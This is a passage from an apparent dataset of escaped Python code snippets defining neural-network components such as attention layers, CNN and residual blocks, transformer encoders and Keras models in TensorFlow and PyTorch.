transformer_layers.LocalSelfAttention(\\n num_heads=hparams.get(prefix + \\\"num_heads\\\"),\\n num_memory_heads=hparams.get(prefix + \\\"num_memory_heads\\\"),\\n radius=hparams.local_attention_radius,\\n key_value_size=hparams.d_kv,\\n shared_kv=hparams.get(prefix + \\\"shared_kv\\\", False),\\n attention_kwargs=attention_kwargs_from_hparams(hparams))\",\n \"def attn(self, embed, mask, name=\\\"\\\"):\\n with tf.variable_scope(\\\"attn_\\\"+name):\\n K = self.get_trans_param(\\\"K\\\")\\n Q = self.get_trans_param(\\\"Q\\\")\\n V = self.get_trans_param(\\\"V\\\")\\n kdata = tf.einsum(\\\"nml,lk->nmk\\\", embed, K)\\n qdata = tf.einsum(\\\"nml,lk->nmk\\\", embed, Q)\\n vdata = tf.einsum(\\\"nml,lk->nmk\\\", embed, V) # nbatch x max_atom x n_trans\\n kq = tf.einsum(\\\"nml,nkl->nmk\\\", qdata, kdata)*(1/math.sqrt(self.n_trans)) # nbatch x max_atom x max_atom\\n #mask = tf.expand_dims(mask, 1) # nbatch x 1 x max_atom\\n mask = tf.keras.backend.repeat(mask, self.max_atom) \\n score = tf.where(mask, -9999*tf.ones_like(kq), kq)\\n #score = kq\\n #score = tf.scatter_update(tf.Variable(kq, validate_shape=False), mask, -9999)# assign a large number\\n w = tf.nn.softmax(score, axis=-1) # calculate attention weight, nbatch x max_atom x max_atom\\n vout = tf.einsum(\\\"nml,nlk->nmk\\\", w, vdata) # nbatch x max_atom x n_trans\\n return vout\",\n \"def attention(query, step):\\n \\n if nest.is_sequence(query): # If the query is a tuple, flatten it.\\n query_list = nest.flatten(query)\\n query = array_ops.concat(query_list, 1)\\n _tmp = math_ops.matmul(query, w) + b\\n _tmp = array_ops.reshape(_tmp, [-1, 1, 1, attn_size])\\n # Attention mask is a softmax of v^T * tanh(...).\\n s = math_ops.reduce_sum(v * math_ops.tanh(hidden_features + _tmp), [2, 3])\\n # beta = math_ops.multiply(nn_ops.softmax(s, name=\\\"beta_%d\\\" % step), beta_scalar)\\n beta = nn_ops.softmax(s, name=\\\"beta_%d\\\" % step)\\n # Now calculate the attention-weighted vector d.\\n \\n hidden_attn = math_ops.reduce_sum(array_ops.reshape(beta, [-1, attn_length, 1, 1]) * hidden,\\n [1, 2])\\n return hidden_attn, beta\",\n \"def forward(self, x):\\n # define feedforward behavior, applying activations as necessary\\n out = self.leaky_relu(self.conv1(x))\\n out = self.leaky_relu(self.conv2(out))\\n out = self.leaky_relu(self.conv3(out))\\n out = self.leaky_relu(self.conv4(out))\\n\\n out = self.res_blocks(out)\\n\\n out = self.leaky_relu(self.deconv1(out))\\n out = self.leaky_relu(self.deconv2(out))\\n out = self.leaky_relu(self.deconv3(out))\\n\\n # tanh applied to last layer\\n out = F.tanh(self.out_layer(out))\\n out = torch.clamp(out, min=-0.5, max=0.5)\\n\\n return out\",\n \"def forward(self, state):\\n x = self.conv(state).view(-1, self.hid_size)\\n x = self.fc1(x)\\n x = F.relu(x)\\n return self.fc2(x)\",\n \"def forward(self, output):\\n \\n hidden_states = self.extract_hidden_states(output)\\n \\n # Obtaining the attention weights\\n weighted_states = self.w1(hidden_states)\\n activated_states = self.tanh(weighted_states)\\n score_weights = self.w2(activated_states)\\n attention_weights = self.softmax(score_weights)\\n \\n # Applying attention to the matrix with hidden states\\n attentional_vector = torch.bmm(torch.transpose(attention_weights,2,1),hidden_states) \\n attentional_vector = self.fc(torch.transpose(attentional_vector,2,1)).squeeze(2)\\n attentional_vector = self._activation_fn(attentional_vector)\\n \\n return attentional_vector\",\n \"def __init__(self, wav2vec2_layer, config):\\n super().__init__(config)\\n self.in_proj_weight = nn.Parameter(torch.cat([wav2vec2_layer.attention.q_proj.weight, wav2vec2_layer.attention.k_proj.weight, wav2vec2_layer.attention.v_proj.weight]))\\n self.in_proj_bias = nn.Parameter(torch.cat([wav2vec2_layer.attention.q_proj.bias, wav2vec2_layer.attention.k_proj.bias, wav2vec2_layer.attention.v_proj.bias]))\\n self.out_proj_weight = wav2vec2_layer.attention.out_proj.weight\\n self.out_proj_bias = wav2vec2_layer.attention.out_proj.bias\\n self.linear1_weight = wav2vec2_layer.feed_forward.intermediate_dense.weight\\n self.linear1_bias = wav2vec2_layer.feed_forward.intermediate_dense.bias\\n self.linear2_weight = wav2vec2_layer.feed_forward.output_dense.weight\\n self.linear2_bias = wav2vec2_layer.feed_forward.output_dense.bias\\n self.norm1_eps = wav2vec2_layer.layer_norm.eps\\n self.norm1_weight = wav2vec2_layer.layer_norm.weight\\n self.norm1_bias = wav2vec2_layer.layer_norm.bias\\n self.norm2_eps = wav2vec2_layer.final_layer_norm.eps\\n self.norm2_weight = wav2vec2_layer.final_layer_norm.weight\\n self.norm2_bias = wav2vec2_layer.final_layer_norm.bias\\n self.num_heads = wav2vec2_layer.attention.num_heads\\n self.embed_dim = wav2vec2_layer.attention.embed_dim\\n self.is_last_layer = False\\n self.validate_bettertransformer()\",\n \"def attention_resnet32(**kwargs):\\r\\n model = CifarAttentionResNet(CifarAttentionBasicBlock, 5, **kwargs)\\r\\n return model\",\n \"def __init__(self, embed_size, dropout=0.5, image_model='resnet101', simple=False, pretrained=True):\\n super(EncoderCNNFeatures, self).__init__()\\n resnet = globals()[image_model](pretrained=pretrained)\\n\\n self.linear = nn.Sequential(nn.Conv2d(resnet.fc.in_features, embed_size, kernel_size=1, padding=0),\\n nn.Dropout2d(dropout))\\n\\n self.simple = simple\\n if simple:\\n self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\",\n \"def __init__(self, input_size, hidden_size, output_size, config):\\r\\n super(AttentionDecoder, self).__init__()\\r\\n\\r\\n self.config = config\\r\\n self.input_size = input_size\\r\\n self.hidden_size = hidden_size\\r\\n\\r\\n self.attn = Attn(self.config.attn_type, self.hidden_size)\\r\\n self.out = nn.Linear(self.hidden_size * 2, output_size)\\r\\n\\r\\n if self.config.model in ['LSTM', 'GRU']:\\r\\n self.rnn = getattr(nn, self.config.model)(self.input_size + self.hidden_size, self.hidden_size,\\r\\n self.config.nlayer_dec, batch_first=True,\\r\\n dropout=self.config.dropout)\\r\\n else:\\r\\n try:\\r\\n nonlinearity = {'RNN_TANH': 'tanh', 'RNN_RELU': 'relu'}[self.config.model]\\r\\n except KeyError:\\r\\n raise ValueError(\\\"\\\"\\\"An invalid option for `--model` was supplied,\\r\\n options are ['LSTM', 'GRU', 'RNN_TANH' or 'RNN_RELU']\\\"\\\"\\\")\\r\\n self.rnn = nn.RNN(self.input_size + self.hidden_size, self.hidden_size, self.config.nlayers,\\r\\n nonlinearity=nonlinearity, batch_first=True, dropout=self.config.dropout)\",\n \"def feed_forward(self):\\n self.hidden_activation = self._sigmoid(np.dot(self.input_activation, self.w1))\\n self.output_activation = self._sigmoid(np.dot(self.hidden_activation, self.w2))\",\n \"def __init__(self, \\n atom_fdim: int = 133,\\n bond_fdim: int = 147,\\n activation: str = 'ReLU',\\n hidden_size: int = 300,\\n bias: bool = False,\\n depth: int = 3,\\n dropout: float = 0.0,\\n layers_per_message: int = 1,\\n undirected: bool = False,\\n atom_messages: bool = False\\n ):\\n super().__init__()\\n \\n self.dropout_layer = nn.Dropout(p=dropout)\\n self.act_func = get_activation_function(activation)\\n self.cached_zero_vector = T.zeros(hidden_size, requires_grad=False)\\n \\n # Input\\n input_dim = atom_fdim if atom_messages else bond_fdim\\n self.W_i = nn.Linear(input_dim, hidden_size, bias=bias)\\\\\\n \\n if atom_messages:\\n w_h_input_size = hidden_size + bond_fdim\\n else:\\n w_h_input_size = hidden_size\\n \\n self.W_h = nn.Sequential(*([\\n nn.Linear(w_h_input_size, hidden_size, bias=bias)\\n ] + sum([\\n [self.act_func, nn.Linear(hidden_size, hidden_size, bias=bias)] \\n for _ in range(layers_per_message-1)], []\\n )))\\n self.W_o = nn.Linear(atom_fdim + hidden_size, hidden_size)\\n \\n self.atom_messages = atom_messages\\n self.depth = depth\\n self.undirected = undirected\",\n \"def block(inp, scope, past, config):\\n with tf.variable_scope(scope):\\n nx = inp.shape[-1].value\\n norm = normalise_tensor(inp, 'ln_1')\\n attn, present = attention(norm, 'attn', nx, past=past, config=config)\\n out = attn + inp\\n norm = normalise_tensor(out, 'ln_2')\\n mlp_out = multilayer_perceptron(norm, 'mlp', nx * 4) # note that hidden dim is 4x\\n out = out + mlp_out\\n return out, present\",\n \"def nn_layer(input_tensor, input_dim, output_dim, layer_name, act=tf.nn.relu,method = \\\"xavier\\\"):\\n # Adding a name scope ensures logical grouping of the layers in the graph.\\n with tf.name_scope(layer_name):\\n # This Variable will hold the state of the weights for the layer\\n with tf.name_scope('weights'):\\n weights = weight_variable([input_dim, output_dim],method = method,name = layer_name)\\n variable_summaries(weights, layer_name + '/weights')\\n with tf.name_scope('Wx_plus_b'):\\n preactivate = tf.matmul(input_tensor, weights)\\n tf.histogram_summary(layer_name + '/pre_activations', preactivate)\\n if act is None:\\n activations = preactivate\\n else:\\n activations = act(preactivate, 'activation')\\n tf.histogram_summary(layer_name + '/activations', activations)\\n return activations\",\n \"def _add_bert_self_attention_layer(model_1, model_2):\\n\\n class Config:\\n pass\\n\\n config = Config()\\n config.hidden_size = model_1.all_head_size + model_2.all_head_size\\n config.num_attention_heads = (\\n model_1.num_attention_heads + model_2.num_attention_heads\\n )\\n config.output_attentions = model_1.output_attentions\\n config.attention_probs_dropout_prob = model_1.dropout.p\\n\\n return BertSelfAttention(config)\",\n \"def build_model_multihead_attention_multiscaleCNN4_covermore(self,\\n dim_attention,headnum,\\n embedding_vec,\\n load_weights=False, weight_dir=None,\\n nb_filters=32,filters_length1=1,\\n filters_length2=5,\\n filters_length3=10,\\n pooling_size=3,\\n drop_input=0,\\n drop_cnn=0.2,\\n drop_flat=0,\\n W1_regularizer=0.005,\\n W2_regularizer=0.005,\\n Att_regularizer_weight=0.0005,\\n BatchNorm=False,\\n fc_dim = 50,\\n fcnum=0,\\n posembed=False,\\n pos_dmodel=40,\\n pos_nwaves = 20,\\n posmod = 'concat',\\n regularfun=1,\\n huber_delta=1,\\n activation='gelu',\\n activationlast='gelu',\\n add_avgpooling = False,\\n poolingmod=1,\\n normalizeatt=False,\\n regressionmodel=False,\\n attmod = \\\"softmax\\\",\\n sharp_beta=1,\\n lr = 0.001 \\n ):\\n ###print('Advanced Masking')\\n def mask_func(x):\\n return x[0] * x[1]\\n \\n ###print(posembed)\\n ###print(posmod)\\n input = Input(shape=(self.max_len,), dtype='int8')\\n input_mask = Input(shape=([int(self.max_len/pooling_size), 1]), dtype='float32')\\n embedding_layer = Embedding(len(embedding_vec), len(embedding_vec[0]), weights=[embedding_vec],\\n input_length=self.max_len,\\n trainable=False)\\n embedding_output = Dropout(drop_input)(embedding_layer(input)) #layer2\\n if 'gelu' in activation:\\n activationfun=gelu\\n else:\\n activationfun = 'relu'\\n \\n if 'gelu' in activationlast:\\n activationlastfun = gelu\\n else:\\n activationlastfun='relu'\\n \\n ###print(activationfun)\\n ###print(activationlastfun)\\n with tf.name_scope('first_cnn'):\\n first_cnn = Convolution1D(nb_filters, filters_length1, #kernel_regularizer=regularizers.l2(0.0001),\\n border_mode='same', activation=activationfun, use_bias=False,name='CNN1')(embedding_output) #layer3\\n first_cnn2 = Convolution1D(int(nb_filters/2), filters_length1, #kernel_regularizer=regularizers.l2(0.0001),\\n border_mode='same', activation=activationlastfun, use_bias=False)(first_cnn) #layer5\\n second_cnn = Convolution1D(nb_filters, filters_length2, #kernel_regularizer=regularizers.l2(0.0001),\\n border_mode='same', activation=activationfun, use_bias=False,name='CNN2')(embedding_output) #layer4\\n second_cnn2 = Convolution1D(int(nb_filters/2), filters_length2, #kernel_regularizer=regularizers.l2(0.0001),\\n border_mode='same', activation=activationlastfun, use_bias=False)(second_cnn)\\n third_cnn = Convolution1D(int(nb_filters/2), filters_length3, #kernel_regularizer=regularizers.l2(0.0001),\\n border_mode='same', activation=activationfun, use_bias=False,name='CNN3')(embedding_output)\\n \\n third_cnn2 = Convolution1D(int(nb_filters/2), filters_length3, #kernel_regularizer=regularizers.l2(0.0001),\\n border_mode='same', activation=activationlastfun, use_bias=False)(third_cnn)\\n if BatchNorm:\\n first_cnn2 = BatchNormalization()(first_cnn2)\\n second_cnn2 = BatchNormalization()(second_cnn2)\\n third_cnn2 = BatchNormalization()(third_cnn2)\\n \\n if not add_avgpooling:\\n if poolingmod == 1:\\n pooling_layer = MaxPooling1D(pool_length=pooling_size, stride=pooling_size)\\n else:\\n pooling_layer = AveragePooling1D(pool_length=pooling_size, stride=pooling_size)\\n \\n cnn_output1 = Dropout(drop_cnn)(pooling_layer(first_cnn2))\\n cnn_output2 = Dropout(drop_cnn)(pooling_layer(second_cnn2))\\n cnn_output3 = Dropout(drop_cnn)(pooling_layer(third_cnn2))\\n else:\\n first_cnn2_max=MaxPooling1D(pool_length=pooling_size, stride=pooling_size)(first_cnn2)\\n first_cnn2_avg=AveragePooling1D(pool_length=pooling_size, stride=pooling_size)(first_cnn2)\\n cnn_output1 = Dropout(drop_cnn)(concatenate([first_cnn2_max,first_cnn2_avg],axis=-1))\\n second_cnn2_max=MaxPooling1D(pool_length=pooling_size, stride=pooling_size)(second_cnn2)\\n second_cnn2_avg=AveragePooling1D(pool_length=pooling_size, stride=pooling_size)(second_cnn2)\\n cnn_output2 = Dropout(drop_cnn)(concatenate([second_cnn2_max,second_cnn2_avg],axis=-1))\\n third_cnn2_max=MaxPooling1D(pool_length=pooling_size, stride=pooling_size)(third_cnn2)\\n third_cnn2_avg=AveragePooling1D(pool_length=pooling_size, stride=pooling_size)(third_cnn2)\\n cnn_output3 = Dropout(drop_cnn)(concatenate([third_cnn2_max,third_cnn2_avg],axis=-1))\\n \\n \\n \\n if posembed:\\n ##print(posmod)\\n from position_embedding import PositionEmbedding\\n if posmod == 'concat':\\n pos_emb1 = PositionEmbedding(max_time=int(self.max_len/pooling_size), n_waves=pos_nwaves, d_model=pos_dmodel,name='pos_emb1')(cnn_output1)\\n cnn_output1 = concatenate([cnn_output1, pos_emb1], axis=-1)\\n pos_emb2 = PositionEmbedding(max_time=int(self.max_len/pooling_size), n_waves=pos_nwaves, d_model=pos_dmodel,name='pos_emb2')(cnn_output2)\\n cnn_output2 = concatenate([cnn_output2, pos_emb2], axis=-1)\\n pos_emb3 = PositionEmbedding(max_time=int(self.max_len/pooling_size), n_waves=pos_nwaves, d_model=pos_dmodel,name='pos_emb3')(cnn_output3)\\n cnn_output3 = concatenate([cnn_output3, pos_emb3], axis=-1)\\n else:\\n ##print(\\\"yes add posmod\\\")\\n pos_emb1 = PositionEmbedding(max_time=int(self.max_len/pooling_size), n_waves=int(int_shape(cnn_output1)[-1]/2), d_model=int_shape(cnn_output1)[-1],name='pos_emb1')(cnn_output1)\\n cnn_output1 = Add()([cnn_output1, pos_emb1])\\n pos_emb2 = PositionEmbedding(max_time=int(self.max_len/pooling_size), n_waves=int(int_shape(cnn_output2)[-1]/2), d_model=int_shape(cnn_output2)[-1],name='pos_emb2')(cnn_output2)\\n cnn_output2 = Add()([cnn_output2, pos_emb2])\\n pos_emb3 = PositionEmbedding(max_time=int(self.max_len/pooling_size), n_waves=int(int_shape(cnn_output3)[-1]/2), d_model=int_shape(cnn_output3)[-1],name='pos_emb3')(cnn_output3)\\n cnn_output3 = Add()([cnn_output3, pos_emb3])\\n \\n mask_input1 = []\\n mask_input1.append(cnn_output1)\\n mask_input1.append(input_mask)\\n cnn_mask_output1 = Lambda(mask_func)(mask_input1)\\n del mask_input1\\n mask_input2 = []\\n mask_input2.append(cnn_output2)\\n mask_input2.append(input_mask)\\n cnn_mask_output2 = Lambda(mask_func)(mask_input2)\\n del mask_input2\\n mask_input3 = []\\n mask_input3.append(cnn_output3)\\n mask_input3.append(input_mask)\\n cnn_mask_output3 = Lambda(mask_func)(mask_input3)\\n del mask_input3\\n \\n if regularfun==1:\\n regularizerfunction_W1 = regularizers.l1(W1_regularizer)\\n regularizerfunction_W2 = regularizers.l1(W2_regularizer)\\n elif regularfun==2:\\n regularizerfunction_W1 = regularizers.l2(W1_regularizer)\\n regularizerfunction_W2 = regularizers.l2(W2_regularizer)\\n elif regularfun ==3:\\n regularizerfunction_W1 = smoothL1(W1_regularizer,huber_delta)\\n regularizerfunction_W2 = smoothL1(W2_regularizer,huber_delta)\\n \\n with tf.name_scope('multihead_attention'):\\n att1,att1_A = Attention_mask(hidden=cnn_output1.get_shape()[-1].value, da=dim_attention, r=headnum, init='glorot_uniform', activation='tanh',\\n W1_regularizer=regularizerfunction_W1,\\n W2_regularizer=regularizerfunction_W2,\\n W1_constraint=None, W2_constraint=None, return_attention=True,\\n attention_regularizer_weight=Att_regularizer_weight,normalize=normalizeatt,attmod=attmod,sharp_beta=sharp_beta,name=\\\"att1\\\")(concatenate([cnn_mask_output1, input_mask]))#-5 layer\\n \\n att2,att2_A = Attention_mask(hidden=cnn_output1.get_shape()[-1].value, da=dim_attention, r=headnum, init='glorot_uniform', activation='tanh',\\n W1_regularizer=regularizerfunction_W1,\\n W2_regularizer=regularizerfunction_W2,\\n W1_constraint=None, W2_constraint=None, return_attention=True,\\n attention_regularizer_weight=Att_regularizer_weight,normalize=normalizeatt,attmod=attmod,sharp_beta=sharp_beta,name=\\\"att2\\\")(concatenate([cnn_mask_output2, input_mask])) #-4 layer\\n \\n att3,att3_A = Attention_mask(hidden=cnn_output1.get_shape()[-1].value, da=dim_attention, r=headnum, init='glorot_uniform', activation='tanh',\\n W1_regularizer=regularizerfunction_W1,\\n W2_regularizer=regularizerfunction_W2,\\n W1_constraint=None, W2_constraint=None, return_attention=True,\\n attention_regularizer_weight=Att_regularizer_weight,normalize=normalizeatt,attmod=attmod,sharp_beta=sharp_beta,name=\\\"att3\\\")(concatenate([cnn_mask_output3, input_mask])) #-3 layer\\n \\n if BatchNorm:\\n att1 = BatchNormalization()(att1)\\n att2 = BatchNormalization()(att2)\\n att3 = BatchNormalization()(att3)\\n \\n \\n output = Dropout(drop_flat)(Flatten()(concatenate([att1,att2,att3]))) #-2 layer\\n \\n fc = output\\n for _ in range(fcnum):\\n fc = Dense(fc_dim,activation='relu')(fc)\\n fc = Dropout(drop_flat)(fc)\\n \\n with tf.name_scope(''):\\n if regressionmodel:\\n preds = Dense(self.nb_classes,activation='softmax')(fc) #-1 layer\\n else:\\n preds = Dense(self.nb_classes,activation='sigmoid')(fc) #-1 layer\\n \\n self.model = Model(inputs=[input,input_mask], outputs=preds)\\n from keras import optimizers\\n # optim = optimizers.RMSprop()\\n optim = optimizers.Adam(lr=lr, decay=5e-5) #The paper uses a decay rate alpha = alpha/sqrt(t) updted each epoch (t) for the logistic regression demonstration.\\n #optim = optimizers.nadam()\\n #optim = RAdam()\\n if regressionmodel:\\n self.model.compile(loss='kld',optimizer=optim,metrics=['acc'])\\n else:\\n self.model.compile(loss='binary_crossentropy',optimizer=optim,metrics=['binary_accuracy','categorical_accuracy'])\\n \\n \\n \\n if load_weights:\\n self.model.load_weights(weight_dir)\\n \\n self.is_built = True\\n self.bn = False\\n self.model.summary()\",\n \"def __call__(self, x, is_training, nfilt=32, reuse=False):\\n with tf.variable_scope(self.name):\\n x = tf.reshape(x, [-1, self.input_dim, self.input_dim, self.channels])\\n\\n # attnh1 = unet_conv(x, nfilt*1, 'attnh1', reuse, is_training, use_batch_norm=False)\\n # attn1 = unet_conv_t(attnh1, None, 1, 'attn1', reuse, is_training, activation=tf.nn.tanh)\\n\\n # attnh2 = unet_conv(attnh1, nfilt*2, 'attnh2', reuse, is_training)\\n # attn2 = unet_conv_t(attnh2, None, nfilt*2, 'attn2_1', reuse, is_training)\\n # attn2 = unet_conv_t(attn2, None, 1, 'attn2_2', reuse, is_training, activation=tf.nn.tanh)\\n\\n # attnh3 = unet_conv(attnh2, nfilt*4, 'attnh3', reuse, is_training)\\n # attn3 = unet_conv_t(attnh3, None, nfilt*4, 'attn3_1', reuse, is_training)\\n # attn3 = unet_conv_t(attn3, None, nfilt*2, 'attn3_2', reuse, is_training)\\n # attn3 = unet_conv_t(attn3, None, 1, 'attn3_3', reuse, is_training, activation=tf.nn.tanh)\\n\\n # salience = tf.concat([attn1, attn2, attn3], 3)\\n # salience = conv(salience, 1, 'salience', s=1, reuse=reuse)\\n # salience = tf.reshape(salience, (-1, self.input_dim*self.input_dim*1))\\n # salience = tf.nn.softmax(salience)\\n # salience = tf.reshape(salience, (-1, self.input_dim,self.input_dim,1))\\n\\n h1 = unet_conv(x, nfilt*1, 'h1', reuse, is_training, use_batch_norm=False)\\n h2 = unet_conv(h1, nfilt*2, 'h2', reuse, is_training)\\n h3 = unet_conv(h2, nfilt*4, 'h3', reuse, is_training)\\n out = unet_conv(h3, 1, 'out', reuse, is_training, use_batch_norm=False, activation=None)\\n\\n return out\",\n \"def __init__(self, encoder_hidden_dim, decoder_hidden_dim, T):\\n super(TemporalAttentionDecoder, self).__init__()\\n\\n self.T = T\\n self.encoder_hidden_dim = encoder_hidden_dim\\n self.decoder_hidden_dim = decoder_hidden_dim\\n\\n self.attn_layer = nn.Sequential(nn.Linear(2 * decoder_hidden_dim + encoder_hidden_dim, encoder_hidden_dim),\\n nn.ReLU(), nn.Linear(encoder_hidden_dim, 1))\\n self.lstm_layer = nn.LSTM(input_size=1, hidden_size=decoder_hidden_dim)\\n self.fc = nn.Linear(encoder_hidden_dim + 2, 1)\\n self.fc_final = nn.Linear(decoder_hidden_dim + encoder_hidden_dim, 1)\\n\\n self.fc.weight.data.normal_()\",\n \"def __init__(self, dm, h, hidden, drop_rate=0.1):\\r\\n super(EncoderBlock, self).__init__()\\r\\n self.mha = MultiHeadAttention(dm, h)\\r\\n self.dense_hidden = tf.keras.layers.Dense(units=hidden,\\r\\n activation='relu')\\r\\n self.dense_output = tf.keras.layers.Dense(units=dm)\\r\\n self.layernorm1 = tf.keras.layers.LayerNormalization(epsilon=1e-6)\\r\\n self.layernorm2 = tf.keras.layers.LayerNormalization(epsilon=1e-6)\\r\\n self.dropout1 = tf.keras.layers.Dropout(drop_rate)\\r\\n self.dropout2 = tf.keras.layers.Dropout(drop_rate)\",\n \"def __init__(self, hidden_units, act_fn=activation_fn, output_shape=1, out_activation=None, out_layer=True):\\n super().__init__()\\n for u in hidden_units:\\n self.add(GaussianNoise(0.4)) # Or use kwargs\\n self.add(Dense(u, act_fn))\\n if out_layer:\\n self.add(GaussianNoise(0.4))\\n self.add(Dense(output_shape, out_activation))\",\n \"def _res_block(self, X, name, out_channels):\\n \\n X_shortcut = X\\n X = self._mfm(X, name = name + '_mfm1', out_channels=out_channels, kernel_size=3, strides=1)\\n X = self._mfm(X, name = name + '_mfm2', out_channels=out_channels, kernel_size=3, strides=1)\\n X = Add()([X, X_shortcut])\\n return X\",\n \"def run(self, x):\\n \\\"*** YOUR CODE HERE question 2 ***\\\"\\n xm0 = nn.Linear(x, self.m0)\\n bias0 = nn.AddBias(xm0, self.b0)\\n relu0 = nn.ReLU(bias0)\\n xm1 = nn.Linear(relu0, self.m1)\\n bias1 = nn.AddBias(xm1, self.b1)\\n ### extra layer below ###\\n # relu1 = nn.ReLU(bias1)\\n # xm2 = nn.Linear(relu1, self.m2)\\n # final = nn.AddBias(xm2, self.b2)\\n # training another layer makes a smoother curve but needs more tuning...\\n\\n return bias1\",\n \"def build(self):\\n \\n # Defining the layers\\n self.w1 = nn.Linear(self._hidden_size*2, self._expansion_size, bias = False).to(self.device)\\n self.tanh = nn.Tanh()\\n self.w2 = nn.Linear(self._expansion_size, self._attention_layers, bias = False).to(self.device)\\n self.softmax = nn.Softmax(dim = 2)\\n self.fc = nn.Linear(self._attention_layers, 1).to(self.device)\\n \\n if self._activation_fn == 'tanh' or isinstance(self._activation_fn, torch.nn.modules.activation.Tanh):\\n self._activation_fn = nn.Tanh()\\n elif self._activation_fn == 'sigmoid' or isinstance(self._activation_fn, torch.nn.modules.activation.Sigmoid):\\n self._activation_fn = nn.Sigmoid()\\n elif self._activation_fn == 'leaky ReLU' or isinstance(self._activation_fn, torch.nn.modules.activation.LeakyReLU):\\n self._activation_fn = nn.LeakyReLU()\\n else:\\n raise NotImplementedError('Non-linear activation function must be \\\"tanh\\\", \\\"sigmoid\\\" or \\\"leaky ReLU\\\"')\\n \\n # Passing it onto the relevant device\\n self._activation_fn = self._activation_fn.to(self.device)\",\n \"def __init__(self, dm, h, hidden, drop_rate=0.1):\\n super().__init__()\\n self.mha = MultiHeadAttention(dm, h)\\n self.ffn = point_wise_feed_forward_network(dm, hidden)\\n\\n self.layernorm1 = tf.keras.layers.LayerNormalization(epsilon=1e-6)\\n self.layernorm2 = tf.keras.layers.LayerNormalization(epsilon=1e-6)\\n\\n self.dropout1 = tf.keras.layers.Dropout(drop_rate)\\n self.dropout2 = tf.keras.layers.Dropout(drop_rate)\",\n \"def __init__(self):\\n # def __init__(self, embed_size, input_channels):\\n super(OffsetCNN, self).__init__()\\n self.conv0 = nn.Conv3d(1, 1, (1, 1, 1), padding=(0,0,0))\\n self.bn0 = nn.BatchNorm3d(1)\\n self.lrelu = nn.LeakyReLU()\",\n \"def _residual(self, x, in_filter, out_filter, stride, activate_before_residual=False):\\n if activate_before_residual: \\n with tf.variable_scope('shared_activation'):\\n x = self._batch_norm('init_bn', x)\\n x = self._relu(x, self.hps.relu_leakiness)\\n orig_x = x\\n else:\\n with tf.variable_scope('residual_only_activation'):\\n orig_x = x\\n x = self._batch_norm('init_bn', x)\\n x = self._relu(x, self.hps.relu_leakiness)\\n\\n with tf.variable_scope('sub1'):\\n x = self._conv('conv1', x, 3, in_filter, out_filter, stride)\\n\\n with tf.variable_scope('sub2'):\\n x = self._batch_norm('bn2', x)\\n x = self._relu(x, self.hps.relu_leakiness)\\n x = self._conv('conv2', x, 3, out_filter, out_filter, [1, 1, 1, 1])\\n\\n with tf.variable_scope('sub_add'):\\n if in_filter != out_filter:\\n orig_x = tf.nn.avg_pool(orig_x, stride, stride, 'VALID')\\n orig_x = tf.pad(\\n orig_x, [[0, 0], [0, 0], [0, 0],\\n [(out_filter-in_filter)//2, (out_filter-in_filter)//2]])\\n x += orig_x\\n\\n tf.logging.debug('image after unit %s', x.get_shape())\\n return x\",\n \"def __init__(self):\\n # def __init__(self, embed_size, input_channels):\\n super(EncoderCNN, self).__init__()\\n self.off_model = OffsetCNN()\\n self.sig_model = SignificanceCNN()\\n self.sigmoid = nn.Sigmoid()\\n self.W = nn.Conv3d(1, 1, (5, 1, 1))\",\n \"def __attention_gated_block(\\n self,\\n x,\\n g,\\n inputfilters,\\n outputfilters,\\n scale_factor,\\n depth=None,\\n height=None,\\n width=None,\\n scope=None):\\n with tf.name_scope(scope):\\n kernel_x_shape = (1, 1, 1, inputfilters, outputfilters)\\n Wx = self.__weight_xavier_init(\\n shape=kernel_x_shape,\\n n_inputs=kernel_x_shape[0] * kernel_x_shape[1] * kernel_x_shape[2] * kernel_x_shape[3],\\n n_outputs=kernel_x_shape[-1],\\n active_function='relu',\\n variable_name=scope + 'conv_Wx')\\n Bx = self.__bias_variable([kernel_x_shape[-1]], variable_name=scope + 'conv_Bx')\\n theta_x = self.__conv3d(x, Wx, scale_factor) + Bx\\n\\n kernel_g_shape = (1, 1, 1, inputfilters, outputfilters)\\n Wg = self.__weight_xavier_init(\\n shape=kernel_g_shape,\\n n_inputs=kernel_g_shape[0] * kernel_g_shape[1] * kernel_g_shape[2] * kernel_g_shape[3],\\n n_outputs=kernel_g_shape[-1],\\n active_function='relu',\\n variable_name=scope + 'conv_Wg')\\n Bg = self.__bias_variable([kernel_g_shape[-1]], variable_name=scope + 'conv_Bg')\\n phi_g = self.__conv3d(g, Wg) + Bg\\n\\n add_xg = self.__resnet_add(theta_x, phi_g)\\n act_xg = tf.nn.relu(add_xg)\\n\\n kernel_psi_shape = (1, 1, 1, outputfilters, 1)\\n Wpsi = self.__weight_xavier_init(\\n shape=kernel_psi_shape,\\n n_inputs=kernel_psi_shape[0] * kernel_psi_shape[1] * kernel_psi_shape[2] * kernel_psi_shape[3],\\n n_outputs=kernel_psi_shape[-1],\\n active_function='relu',\\n variable_name=scope + 'conv_Wpsi')\\n Bpsi = self.__bias_variable([kernel_psi_shape[-1]], variable_name=scope + 'conv_Bpsi')\\n psi = self.__conv3d(act_xg, Wpsi) + Bpsi\\n sigmoid_psi = tf.nn.sigmoid(psi)\\n\\n upsample_psi = self.__upsample3d(sigmoid_psi, scale_factor=scale_factor, scope=scope + \\\"resampler\\\")\\n\\n # Attention: upsample_psi * x\\n # upsample_psi = layers.Lambda(lambda x, repnum: K.repeat_elements(x, repnum, axis=4),\\n # arguments={'repnum': outfilters})(upsample_psi)\\n gat_x = tf.multiply(upsample_psi, x)\\n kernel_gat_x_shape = (1, 1, 1, outputfilters, outputfilters)\\n Wgatx = self.__weight_xavier_init(\\n shape=kernel_gat_x_shape,\\n n_inputs=kernel_gat_x_shape[0] * kernel_gat_x_shape[1] * kernel_gat_x_shape[2] * kernel_gat_x_shape[3],\\n n_outputs=kernel_gat_x_shape[-1],\\n active_function='relu',\\n variable_name=scope + 'conv_Wgatx')\\n Bgatx = self.__bias_variable([kernel_gat_x_shape[-1]], variable_name=scope + 'conv_Bgatx')\\n gat_x_out = self.__conv3d(gat_x, Wgatx) + Bgatx\\n\\n gat_x_out = self.__normalizationlayer(\\n gat_x_out,\\n image_depth=depth,\\n image_height=height,\\n image_width=width,\\n norm_type='group',\\n scope=scope)\\n\\n return gat_x_out\",\n \"def __init__(self, whisper_layer, config):\\n super().__init__(config)\\n self.in_proj_weight = nn.Parameter(torch.cat([whisper_layer.self_attn.q_proj.weight, whisper_layer.self_attn.k_proj.weight, whisper_layer.self_attn.v_proj.weight]))\\n self.in_proj_bias = 